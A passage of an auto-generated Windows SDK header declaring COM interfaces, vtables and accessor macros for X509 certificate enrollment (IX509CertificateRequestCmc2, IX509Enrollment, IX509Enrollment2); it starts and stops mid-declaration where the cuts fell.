IX509CertificateRequestCmc2_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc2_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestCmc2_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestCmc2_InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,RenewalRequest,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestCmc2_InitializeFromInnerRequest(This,pInnerRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequest(This,pInnerRequest) ) \n\n#define IX509CertificateRequestCmc2_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestCmc2_get_RequesterName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequesterName(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_RequesterName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_RequesterName(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_SignerCertificate(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificate(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_put_SignerCertificate(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_SignerCertificate(This,pValue) ) \n\n\n#define IX509CertificateRequestCmc2_InitializeFromInnerRequestTemplateName(This,pInnerRequest,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequestTemplateName(This,pInnerRequest,strTemplateName) ) \n\n#define IX509CertificateRequestCmc2_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_TransactionId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_TransactionId(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_TransactionId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_TransactionId(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_SenderNonce(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SenderNonce(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_SenderNonce(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_SenderNonce(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc2_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_get_ArchivePrivateKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ArchivePrivateKey(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_ArchivePrivateKey(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ArchivePrivateKey(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_KeyArchivalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyArchivalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_KeyArchivalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyArchivalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestCmc2_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestCmc2_put_EncryptionAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_EncryptionAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#define IX509CertificateRequestCmc2_put_EncryptionStrength(This,Value)\t\\\n    ( (This)->lpVtbl -> put_EncryptionStrength(This,Value) ) \n\n#define IX509CertificateRequestCmc2_get_EncryptedKeyHash(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptedKeyHash(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestCmc2_get_SignerCertificates(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignerCertificates(This,ppValue) ) \n\n\n#define IX509CertificateRequestCmc2_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestCmc2_InitializeFromInnerRequestTemplate(This,pInnerRequest,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromInnerRequestTemplate(This,pInnerRequest,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestCmc2_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestCmc2_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n#define IX509CertificateRequestCmc2_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestCmc2_CheckCertificateSignature(This,pSignerCertificate,ValidateCertificateChain)\t\\\n    ( (This)->lpVtbl -> CheckCertificateSignature(This,pSignerCertificate,ValidateCertificateChain) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestCmc2_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0081 */\n/* [local] */ \n\ntypedef \nenum InstallResponseRestrictionFlags\n    {\tAllowNone\t= 0,\n\tAllowNoOutstandingRequest\t= 0x1,\n\tAllowUntrustedCertificate\t= 0x2,\n\tAllowUntrustedRoot\t= 0x4\n    } \tInstallResponseRestrictionFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0081_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0081_v0_0_s_ifspec;\n\n#ifndef __IX509Enrollment_INTERFACE_DEFINED__\n#define __IX509Enrollment_INTERFACE_DEFINED__\n\n/* interface IX509Enrollment */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Enrollment;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab346-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Enrollment : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ X509CertificateEnrollmentContext Context) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplateName( \n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromRequest( \n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pRequest) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE CreateRequest( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Enroll( void) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InstallResponse( \n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE CreatePFX( \n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ PFXExportOptions ExportOptions,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Request( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Silent( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Silent( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParentWindow( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParentWindow( \n            /* [in] */ LONG Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NameValuePairs( \n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_EnrollmentContext( \n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Status( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Certificate( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Response( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CertificateFriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_CertificateFriendlyName( \n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_CertificateDescription( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_CertificateDescription( \n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RequestId( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CAConfigString( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509EnrollmentVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Enrollment * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Enrollment * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Enrollment * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Enrollment * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in BSTR strTemplateName);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InitializeFromRequest )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in_opt IX509CertificateRequest *pRequest);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *CreateRequest )( \n            __RPC__in IX509Enrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *Enroll )( \n            __RPC__in IX509Enrollment * This);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *InstallResponse )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword);\n        \n        HRESULT ( STDMETHODCALLTYPE *CreatePFX )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ PFXExportOptions ExportOptions,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Request )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Status )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentStatus **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509Enrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Response )( \n            __RPC__in IX509Enrollment * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateFriendlyName )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateFriendlyName )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CertificateDescription )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CertificateDescription )( \n            __RPC__in IX509Enrollment * This,\n            /* [in] */ __RPC__in BSTR strValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestId )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CAConfigString )( \n            __RPC__in IX509Enrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509EnrollmentVtbl;\n\n    interface IX509Enrollment\n    {\n        CONST_VTBL struct IX509EnrollmentVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509Enrollment_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509Enrollment_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509Enrollment_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509Enrollment_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509Enrollment_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509Enrollment_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509Enrollment_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509Enrollment_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509Enrollment_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509Enrollment_InitializeFromRequest(This,pRequest)\t\\\n    ( (This)->lpVtbl -> InitializeFromRequest(This,pRequest) ) \n\n#define IX509Enrollment_CreateRequest(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreateRequest(This,Encoding,pValue) ) \n\n#define IX509Enrollment_Enroll(This)\t\\\n    ( (This)->lpVtbl -> Enroll(This) ) \n\n#define IX509Enrollment_InstallResponse(This,Restrictions,strResponse,Encoding,strPassword)\t\\\n    ( (This)->lpVtbl -> InstallResponse(This,Restrictions,strResponse,Encoding,strPassword) ) \n\n#define IX509Enrollment_CreatePFX(This,strPassword,ExportOptions,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> CreatePFX(This,strPassword,ExportOptions,Encoding,pValue) ) \n\n#define IX509Enrollment_get_Request(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Request(This,pValue) ) \n\n#define IX509Enrollment_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509Enrollment_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509Enrollment_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509Enrollment_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509Enrollment_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#define IX509Enrollment_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509Enrollment_get_Status(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Status(This,ppValue) ) \n\n#define IX509Enrollment_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509Enrollment_get_Response(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Response(This,Encoding,pValue) ) \n\n#define IX509Enrollment_get_CertificateFriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateFriendlyName(This,pValue) ) \n\n#define IX509Enrollment_put_CertificateFriendlyName(This,strValue)\t\\\n    ( (This)->lpVtbl -> put_CertificateFriendlyName(This,strValue) ) \n\n#define IX509Enrollment_get_CertificateDescription(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CertificateDescription(This,pValue) ) \n\n#define IX509Enrollment_put_CertificateDescription(This,strValue)\t\\\n    ( (This)->lpVtbl -> put_CertificateDescription(This,strValue) ) \n\n#define IX509Enrollment_get_RequestId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestId(This,pValue) ) \n\n#define IX509Enrollment_get_CAConfigString(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CAConfigString(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509Enrollment_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509Enrollment2_INTERFACE_DEFINED__\n#define __IX509Enrollment2_INTERFACE_DEFINED__\n\n/* interface IX509Enrollment2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509Enrollment2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab350-217d-11da-b2a4-000e7bbb2b09\")\n    IX509Enrollment2 : public IX509Enrollment\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeFromTemplate( \n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InstallResponse2( \n            /* [in] */ InstallResponseRestrictionFlags Restrictions,\n            /* [in] */ __RPC__in BSTR strResponse,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strPassword,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerUrl,\n            /* [in] */ __RPC__in BSTR strEnrollmentPolicyServerID,\n            /* [in] */ PolicyServerUrlFlags EnrollmentPolicyServerFlags,\n            /* [in] */ X509EnrollmentAuthFlags authFlags) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PolicyServer( \n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Template( \n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RequestIdString( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509Enrollment2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509Enrollment2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509Enrollment2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509Enrollment2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509Enrollment2 * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE 